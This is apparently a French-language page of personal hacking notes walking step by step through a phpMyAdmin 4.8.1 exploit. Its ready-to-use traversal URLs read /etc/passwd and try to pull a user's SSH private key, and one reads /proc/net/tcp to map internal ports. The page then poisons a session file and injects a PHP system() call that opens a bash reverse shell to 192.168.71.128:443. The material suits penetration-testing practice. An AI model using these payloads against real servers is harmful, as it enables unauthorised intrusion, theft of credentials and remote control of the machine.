> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

Notes d’exploitation de phpMyAdmin 4.8.1 pour la LFI vers RCE, l’énumération /proc/net/tcp, l’abus de fichiers de session, l’injection de commandes SQL et l’accès via shell inversé.

**Identification de la vulnérabilité RCE de phpMyAdmin**

Après avoir identifié la version 4.8.1 de phpMyAdmin comme vulnérable, utilisez SearchExploit pour trouver les exploits correspondants et confirmer le [RCE](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) parcours.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité RCE

Exploitez le chemin RCE en injectant le script suivant dans l'URL pour lire `/etc/passwd`:

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**Tenter de récupérer la `admin` clé privée SSH de l'utilisateur**

Essayez d'accéder à la `admin` clé privée SSH de l'utilisateur avec l'URL suivante, mais une erreur est renvoyée :

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**Énumération des ports du réseau privé interne**

Utilisez l'URL suivante pour lister les ports du serveur interne via `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

Enregistrez ces ports dans un `données` fichier pour une analyse ultérieure.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identification du répertoire contenant les sessions phpMyAdmin**

En examinant le script, identifiez le répertoire contenant les sessions phpMyAdmin :

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## Injection de commandes phpMyAdmin

**Utilisation du cookie de session phpMyAdmin pour l'injection de commandes**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ce fichier interprète les commandes des requêtes.

```sql
SELECT 'testing';
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**Injection de commandes SQL pour obtenir un** [**shell inversé**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**L'accès à la machine réussit enfin :**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


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